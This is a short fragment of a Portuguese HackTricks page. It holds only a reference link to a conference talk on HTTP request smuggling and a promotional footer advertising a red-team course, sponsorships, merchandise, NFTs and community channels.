* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|